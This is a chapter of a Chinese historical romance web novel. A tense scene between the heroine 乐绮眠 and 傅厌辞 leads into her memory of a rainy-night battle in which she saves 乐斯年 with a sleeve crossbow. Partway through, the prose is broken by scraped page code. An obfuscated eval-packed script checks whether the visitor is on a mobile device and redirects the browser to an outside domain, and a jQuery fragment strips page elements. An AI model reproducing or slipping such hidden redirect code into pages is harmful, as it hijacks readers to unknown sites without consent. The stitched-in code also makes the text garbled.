62. 袖弩

作品:《渣了偏执男主后

    用什么交换?


    乐绮眠的目光自下而上,不解道:“殿下想让我用什么来换?”


    她被傅厌辞罩在身下,长发垂落,黑眸天真。若说她故作不知,那干净的眼神却不似作伪,可说她懵懂,神情里却带着浑然天成的诱惑。


    在此之前,傅厌辞也说不清,在看到白衣人给她留下的印记时,心中萌生的古怪感觉。现在他知道了,那是如野兽般,想撕扯和吞下她的冲动。


    放走她?


    以她的性情,很快会将傅厌辞抛之脑后,甚至用对待他的方式,与其他男子相处。


    只是想到这种可能,一阵残暴的冷意便充斥了全身,让他的戾气瞬间暴涨,想杀死所有接近她之人,再将她关在房中,只有他一人能碰。


    乐绮眠感受到他危险的变化,直觉让她起了层寒意,正想从臂间逃走,两腕忽然被按住。


    傅厌辞道:“即便将你带出闻家大营,你还是人犯,若没想好用何物交换,此事免谈。”


    乐绮眠简直一头雾水:“问殿下想要什么,不肯相告,现在又反悔收回书信,到底谁在玩谁?”


    傅厌辞从榻上起身:“要怪就怪成王败寇,你没有谈条件的——”


    他后背沉下,乐绮眠一下抱住他:“留下书信!”


    傅厌辞眉心一跳,乐绮眠整个人缠了上来,连腿也勾在他膝窝,刚消散的热度回笼,他几乎脱口道:“松手。”


    乐绮眠道:“好说,你先交出书信。”


    她重量都压在他肩头,不给他挣脱的机会。傅厌辞顾忌她身上有伤,没有挣动,她反而有恃无恐,紧抱不放。


    “这就气傻了?”乐绮眠发现他竟然不反抗,有些意外,“怎么,知道自己理亏,不敢……咦,你的耳朵好红?”


    傅厌辞僵着身体,因为她这句话,转开视线。


    殊不知,这个动作让侧脸落入乐绮眠眼中,她盯着傅厌辞泛红的耳垂,心念电转:等等,他不会不想她离开,所以扣下书信吧?


    她本是随口胡诌,不料说出这句话的瞬间,傅厌辞的身体有了明显僵硬。


    乐绮眠:“......”


    乐绮眠反应半晌,才消化其中信息,讶然道:“你莫非......”


    门扇突然被敲响,崔烈的声音从门外传来:“殿下,您可在房中?陛下有令,让您现在进宫。”


    这声呼喊打破古怪的氛围,乐绮眠顿了顿,刚想继续,就被人放下地面。


    傅厌辞冷静道:“稍后有人收走药碗,书信之事,明日再说。”


    乐绮眠说:“喂——”


    不等她将话说完,傅厌辞径直推门而出,带上崔烈,离开了小屋。


    倒是等她说完再走!


    乐绮眠抓抓头发,分外懊恼:他什么意思?扣下书信当真为了留下她?明日再谈,难道就肯放人?


    她想着这件事,走到了榻边也没发现,等坐下,发觉案上放着一只木匣,里面的东西有些眼熟。


    是她的袖弩。


    傅厌辞进屋时,她在摆弄花冠,没发现这把袖弩。看到它,才想起刚见面时,傅厌辞将它踩碎了在马下。她以为回到岑州才有机会修补,想不到他已经这么做了。


    她暂时按下其他念头,拿起袖弩,从头端详。


    其实刚被带回军中时,她对弩.机不甚熟悉,是乐斯年送了她这把袖弩,又手把手教会了她。


    当时,乐斯年与闻师僖交战,遭遇伏击,与大营断了联系,乐承邺带兵增援前,将她安置在房中,叮嘱她无论发生什么,都不要离开营地。


    彼时,她问:若有人将她从营中劫走呢?


    乐承邺说:不会。


    她道:可乐承邺便将她从妙应寺劫走了。


    乐承邺沉默了,微微一笑,像拎小猫一般将她放进被中,再次强调:绝对、绝对不能离开营地,若身份泄露,她又会被关往妙应寺,再救人,千难万难。


    她只露黑眼睛在外,嘴上说:她知道了,侯爷快去吧,她等两人凯旋。


    但等乐承邺一出门,她就从榻上跳起,快速穿衣换鞋,从窗户钻了出去。


    心想,他总算走了!


    乐承邺受江家兄妹嘱托,才将她救回军中,但她对乐家从无好感,被带往军营的路上,就在策划如何逃脱。现在乐斯年遇袭,她求之不得。


    军营空了大半,她盗走一匹小马,如归巢倦鸟,忍不住哼起小调。


    但没哼多久,她忽然发现,她似乎、大概,又走了一遍来时的路!


    乐绮眠:......


    山林阒寂,野兽不时蹿过,头一回出远门的乐绮眠,从没想过,她没被乐家军拦下,没被海琅王父子谋害,却因为迷路,出师未捷身先死。


    或许,可以原路返回?


    她踌躇不定时,看到前方闪过火光,策马上前,却发现树下坐着个衣衫褴褛的少年。


    少年手中拿一架弩|机,伤痕累累,眼睛却极亮:“你在路口转了三圈,又四处张望了许多回,你迷路了?”


    乐绮眠看不出他的身份,反问:“你是岑北来的流民?


    少年讶然:“你为何觉得我是流民?”


    答案很简单,因为苍人每年都会入境掳掠,生活在岑北的百姓不堪其扰,或落草为寇,或四处流亡,流民在多年前就屡见不鲜。


    乐绮眠退后几步,警惕地看向他。


    少年失笑,对她说:“让你失望了,我只是一名将军的随从,为了引走敌兵,暂时躲在树下。”


    乐绮眠心中狐疑:“是哪位将军?你说说姓名。”


    少年道:“明光将军,你可有听过?”


    乐绮眠一听,便知少年在撒谎。应州江氏被屠半年,他要是随从,她岂非半夜撞鬼?但为了找路,她故作不知:“我可以送你到军营,只要你为我指路。”


    少年却说:“此处道路复杂,一两句话说不清,你先将我扶起,我为你带路。”


    乐绮眠立刻警觉起来,改口道:“我体弱多病,不良于行,你就在树下说。”


    少年又笑了两声,正要开口,脸色忽变:“小心!”


    乐绮眠一愣,听到急促的破空声。她身下小马嘶鸣一声,几名北军打扮的人疾奔而出,厉声道:“就在前方,抓住他!”


    刚才还气息奄奄的少年,忽然跳上马,抢走她的缰绳:“往林中跑,不要回头!”


    乐绮眠稍一停顿,小马便跑了起来。少年分外内疚,边咳血边对她说:“这些人的头目是被我引来,你必须跑快些,否则……”


    乐绮眠被他吐出的血溅到,捂住他的嘴,怒道:“你不是明光将军的随从,一个头目都打不过?”


    少年说:“这名头目是北相长子,能击杀他的,或许只有我的父亲。”


    乐绮眠对他口中的北相长子再熟悉不过,闻师僖血洗应州的凶名在外,试问谁能击败此人,恐怕只有过世的江吾朗,和现在的乐承邺。


    乐绮眠心中一凛,不由问:“你父亲,姓乐?”


    恰在此时,小雨转急,一道闪电划破夜空,照出眼前人与乐承邺三分相似的面孔,少年的声音从耳旁响起:“你还认识武安侯?不必担心,他很快赶……”


    暴雨密集,乐绮眠忽然攥住他的衣襟,将他推下马去!


    少年——被闻师僖追赶到郊外的乐斯年一怔,剩下的话戛然而止。


    昏暗中,乐绮眠居高临下,微微一笑:“那就去找你的父亲,求他来救你吧。”


    说完,她抛下乐斯年,扬尘而去。在大雨等待,想知道乐斯年会如何死在闻师僖手中。就像当年乐承邺攻入奉京,她兄长与姐姐惨死在叛军刀下,今时今日,她也能亲手杀了乐斯年!


    可接下来看到的一幕,却让她眼眸睁大。


    因为,乐斯年在砸入泥地后,只看了眼她逃走的方向,便站起身,朝另一头跑去。


    很快,北兵将他拖倒在地,一人策马而来,挑眉笑道:“你就是武安侯之子?如此弱不禁风?看来父亲说大梁气数已尽,果真如此。”


    乐绮眠认出,这是血洗应州的闻师僖,又见乐斯年满面鲜血,弩|机也摔了出去,却道:“你就是北相长子?你深入敌境,一旦援军赶到,腹背受敌,支撑不了太久。父亲说闻氏有勇无谋,的确如此。”


    闻师僖霎时变了脸色:抽出剑来:“你找死!”


    他提剑猛刺,一柄铁剑却斜刺里穿出,击落他手中佩剑!


    乐斯年收回铁剑,笑道:“堂堂北相长子,只有这点本事?”


    北兵只留意那把弩|机,没发现他袖中还藏有一柄短剑,顿时惊惶上前。闻师僖却推开众人,冷笑一声:“垂死挣扎?待将你项上人头送到阵前,看你如何嘴硬!”


    士兵七手八脚缴了铁剑,将乐斯年按在泥中。这场景乐绮眠再熟悉不过,昔日叛军将她押往妙应寺,她也是这般狼狈。


    这一切,都拜乐承邺所赐,是乐家欠下的债,是乐斯年自食其果,她不必犹豫,更不必认为自己是帮凶——


    “铛!”


    佩剑重回手中,闻师僖正要一剑刺下,一支弩箭划破长空,剑身偏移,刺入泥地!


    闻师僖暴喝出声:“何人?出来!”


    暴雨如注,乐绮眠从黑暗中现身,轻声细语:“何人?自然是取你性命之人。”


    说完,她一箭射向闻师僖,另一手割断绳索,将乐斯年拖上马背!


    闻师僖仓促躲闪,小马发足狂奔,突破包围。乐斯年的眼睛被血糊住,勉强看清眼前背影,诧异道:“是你。”


    乐绮眠说:“再多说一句,现在把你扔下马背!”


    乐斯年立刻闭嘴,但过了片刻,又忍不住:“姑娘,无论如何,多谢你......”


    乐绮眠感觉身后微沉,乐斯年倒在背上,中了一箭。他如常道:“继续走,不要回头。”


    大雨漫天彻地,乐绮眠的脸被雨打湿,她不知道,自己为何回头,就像不知道,乐斯年的死与她有何关系。也许只是忍受不了,有人被抛在群狼环伺的夜里,只要一人伸手,就能拽她出泥沼,对方却在给出希望后,又收回了手。


    又或者,只是借由乐斯年,去回到被关押在妙应寺的日夜,解救那个,被抛下的自己。


    她也说不清。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591149|167077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    小马像暴雨中的一叶孤舟,一声惊雷过后,气力耗尽,轰然倒地!


    北兵围了上来,高声道:“将军,不是援兵,只是个女贼!”


    乐绮眠摔入泥中,长发被拽起,乱糟糟地贴在额前,听到闻师僖笑说:“是你救了那小子?也是你要杀我?”


    眼前之人看向乐绮眠,像看脚下一只蝼蚁,似乎很疑惑,她为何有胆量送死。


    乐绮眠胸中如被野火焚烧,一字一句道:“不止你,你的父亲、属下,去过应州、毁掉江家的每个人,”她盯着闻师僖,目不转睛,“我都不会放过。”


    她双眼深浓如墨,直勾勾望着人时,竟透出几分邪性。闻师僖哈哈大笑:“诸位,你们听,她说去过应州的每个人,她都不会放过,你们怕不怕?”


    士兵爆发出大笑,有人说:“将军不如给她把剑,让咱们领教领教,她想如何不放过!”


    被压在泥中的少女不到众人肩膀高,信誓旦旦说要报仇,这场面滑稽,如何不引人发笑?


    “会为江家抱不平,看来是应州之战的漏网之鱼,不必担心,”闻师僖撑住双膝,俯下身,兴致盎然道,“小姑娘,我现在便送你去见双亲。”


    说完,按住乐绮眠的头,一把撞向石上!


    与此同时,有一人从后方扑来,猛然抱住乐绮眠,滚向前方!


    “别怕,”乐斯年后背渗出血,却笑了笑,捏住一枚铜钱,“我有一把袖弩,本想作为礼物送给一位妹妹,现在恐怕没机会了。来,你拿着它,铜钱抛出时,松开悬刀,把一切交给天意做主。”


    乐绮眠说:“你少教我!”


    乐斯年忽然郑重道:“公主。”


    乐绮眠一怔,他发抖的手覆了上来,忽然松开铜钱,带动弩箭瞄准闻师僖,扣向悬刀。


    乐斯年说:“就是现在。”


    北兵已追至眼前,闻师僖也提起佩剑,疾驰而来:“敢虎口夺人,算你有胆量,可惜今日,你到此为——”


    “叮!”


    铜钱被抛向空中,悬刀松开,那一箭穿破雨雾,径直钉入闻师僖胸口!


    “叮!”


    铜钱落地,闻师僖重重砸入泥中,发出沉闷声响。两道声音重合,一双人影摔入雨中!


    跌倒的同一刻,乐绮眠看到,乐斯年背起她,迅速爬起。追兵紧随而至,但茫茫大雨中,一面月白色大纛穿透夜色,席卷而来!


    有人道:“侯爷,是小将军!”


    全副武装的西北军提起长刀,与闻家杀作一团。对方见势不好,立时带走闻师僖,调转马头,然而援兵如风卷残云,直追而上,很快将人斩落马下,只有闻师僖被护在前方,侥幸逃过一劫。


    赢了!


    乐绮眠瘫倒在地,紧张到紊乱的心跳尚未平复,便道:“你箭法不过如此,连人也射不死!”


    乐斯年也躺在雨中,大口喘气:“那是我受了伤,平日不是如此!”


    说完,两人一阵沉默。


    乐绮眠看向他,低声质问:“你何时认出我是公主?”


    乐斯年惊讶:“你是公主?”


    乐绮眠后知后觉,猛然坐起身:“你敢耍我?”


    乐斯年忍不住,笑了起来:“这个嘛,我也不确定,只是随意喊一喊,没想到......痛痛痛——快住手!”


    乐绮眠掐住他的伤口,低头认真看着他,难得没有笑:“下次再敢骗我,我绝不回头。”


    乐斯年求饶:“好好,绝不骗你,公主快松手!”


    乐绮眠这才大发慈悲,松开了手。


    乐斯年痛得连连吸气,想不通她小小一个人,怎么这般大气性,缓了半晌,才叹息一声:“方才铜钱抛出正面,说明公主会交好运,但下回不要这般凶恶,需知戾气过重,好运会散的。”


    这枚铜钱是他娘留下的遗物,乐斯年整日带在身旁,用它占卜凶吉。乐绮眠不信这些说法,正要反驳,穿一身金色狻猊甲的乐承邺走来,一臂一个,拎起二人。


    “脏得像小乞丐,还在战场打打闹闹,”乐承邺用力拍了乐斯年一掌,呵斥道,“带坏公主!”


    乐斯年险些吐血:“我也不想打闹,可不是她打我么......”


    两人被放上马背,父子二人又说了些闲话。乐绮眠安静待在马上,难得有些忐忑。


    可一路走回军营,乐斯年都没有提起被扔下马背一事,仿佛事情不曾发生。乐承邺也没有追问,她为何逃出军营。


    那个雨夜,乐家军剿灭在场北兵,闻师僖身受重伤,仓促北逃。两年后,白马河再战,乐绮眠一箭射杀闻师僖,“眉心簪花”之名声震西北。


    而一切的一切,都始于这把袖弩。


    回忆散去,乐绮眠闭了闭眼,想到来北苍的目的,渐渐冷静下来。


    不论傅厌辞有何打算,既然郡王已死,她就该尽快离开北苍,将消息带给乐家父子,让二人有所准备。


    这么想时,她没有抬头,因此并未注意到,自她拿起袖弩起,有道鸦青色身影伫立窗前,注视乐绮眠良久。


    在看到她对袖弩的反应后,悄然收回了放在窗台的手。